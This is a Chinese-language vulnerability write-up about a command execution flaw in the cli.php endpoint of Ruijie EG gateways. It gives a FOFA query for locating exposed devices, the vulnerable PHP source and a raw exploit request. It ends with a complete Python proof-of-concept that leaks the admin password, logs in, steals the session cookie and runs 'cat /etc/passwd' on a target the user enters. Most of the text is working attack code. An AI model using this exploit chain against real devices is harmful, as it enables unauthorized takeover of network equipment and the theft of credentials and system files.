mirror of
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258 lines
8.1 KiB
Markdown
258 lines
8.1 KiB
Markdown
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# 锐捷 EG易网关 cli.php 远程命令执行漏洞
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## 漏洞描述
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锐捷EG易网关 cli.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器
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## 漏洞影响
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```
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锐捷EG易网关
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```
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## FOFA
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```
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app="Ruijie-EG易网关"
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```
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## 漏洞复现
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首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞)
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漏洞文件 cli.php
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```php
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<?php
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/**
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* cli命令查询
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*/
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define('IN', true); //定位该文件是入口文件
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define('DS', DIRECTORY_SEPARATOR);
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define('AROOT', dirname(__FILE__) . DS);
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include_once(AROOT . 'mvc' . DS . 'controller' . DS . 'core.controller.php');
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class defaultController extends coreController {
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function __construct() {
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// 载入默认的
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parent::__construct();
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}
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/**
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* cli命令执行
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*/
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public function indexAction() {
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$mode = p("mode_url");
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$command = p("command");
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$answer = p("answer");
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if ($mode == false)
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$mode = "exec";
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if ($answer == false)
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$answer = "";
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if ($command !== false)
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$command = iconv('UTF-8', 'GBK//IGNORE', $command);
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$data = execCli($mode, $command, $answer);
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if ($data["status"] !== 1) {
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json_echo($data);
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exit();
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}
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$res = preg_replace(array("/%01/", "/%22/", "/%09/", "/%0D/", "/%3A/","/%07/"), array("", '"', "\t", "", ":",""), urlencode($data["data"])); //先进行url编码防止gbk中文无法json,再过滤首尾空方块
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$resArr = explode("%0A", $res);
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//$resArr = preg_split("/\r\n|\n/", $data["data"]);
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if ($mode == "config" && strstr($resArr[0], "Enter+configuration+commands%2C+one+per+line.++End+with+CNTL%2FZ."))
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array_shift($resArr);
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$data["data"] = $resArr;
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if (!headers_sent()) {
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header("Content-type: text/json;charset=gbk");
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//header("Expires: Thu, 01 Jan 1970 00:00:01 GMT");
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header("Cache-Control: no-cache, must-revalidate");
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header("Pragma: no-cache");
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}
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echo urldecode(json_encode($data));
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//echo json_encode($data);
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}
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/**
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* 执行shell脚本
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*/
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public function shellAction() {
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$command = p("command");
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if ($command == false) {
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$data["status"] = 2;
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$data["msg"] = "no command";
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json_echo($data);
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exit();
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}
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$content = [];
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exec(EscapeShellCmd($command), $content);
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$data = array("status" => true,
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"data" => $content);
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json_echo($data);
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}
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/**
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* 获取系统时间
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*/
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public function dateAction() {
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setTimeZone();
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$data['status'] = true;
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$data["data"]["time"] = date("Y-m-d H:i:s");
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$data["data"]["zone"] = "UTC" . getTimeZone();
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json_echo($data);
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}
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/**
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* 获取系统时区
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*/
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public function datezoneAction() {
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$data['status'] = true;
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$data["data"] = getTimeZone();
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json_echo($data);
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}
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/**
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* 检测静态页面时候未登录直接进入
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*/
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public function checkloginAction() {
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json_echo(array("status" => true));
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}
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}
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include_once(AROOT . "init.php"); //mvc初始化入口，放在底部
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```
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关键部分代码为
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```php
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/**
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* 执行shell脚本
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*/
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public function shellAction() {
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$command = p("command");
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if ($command == false) {
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$data["status"] = 2;
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$data["msg"] = "no command";
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json_echo($data);
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exit();
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}
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$content = [];
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exec(EscapeShellCmd($command), $content);
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$data = array("status" => true,
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"data" => $content);
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json_echo($data);
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}
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```
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command参数直接传入执行了命令
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发送请求包
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```plain
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POST /cli.php?a=shell HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 24
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Content-Type: application/x-www-form-urlencoded
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Cookie: RUIJIEID=nk5erth9i0pvcco3n7fbpa9bi0;user=admin;
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X-Requested-With: XMLHttpRequest
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Accept-Encoding: gzip
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notdelay=true&command=id
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷EG网关 cli.php RCE \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/login.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'username=admin&password=admin?show+webmaster+user'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
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if "data" in response.text and response.status_code == 200:
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password = re.findall(r'admin (.*?)"', response.text)[0]
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print("\033[36m[o] 成功获取, 账号密码为: admin {} \033[0m".format(password))
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POC_2(target_url, password)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_2(target_url, password):
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vuln_url = target_url + "/login.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'username=admin&password={}'.format(password)
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在登录..... \033[0m".format(target_url))
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if "status" in response.text and "1" in response.text and response.status_code == 200:
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ruijie_cookie = "RUIJIEID=" + re.findall(r"'Set-Cookie': 'RUIJIEID=(.*?);", str(response.headers))[0] + ";user=admin;"
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print("\033[36m[o] 成功获取管理员Cookie: {} \033[0m".format(ruijie_cookie))
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POC_3(target_url, ruijie_cookie)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_3(target_url, ruijie_cookie):
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vuln_url = target_url + "/cli.php?a=shell"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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"Cookie": "{}".format(ruijie_cookie)
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}
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data = 'notdelay=true&command=cat /etc/passwd'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 cat /etc/passwd..... \033[0m".format(target_url))
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if "root:" in response.text and response.status_code == 200:
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print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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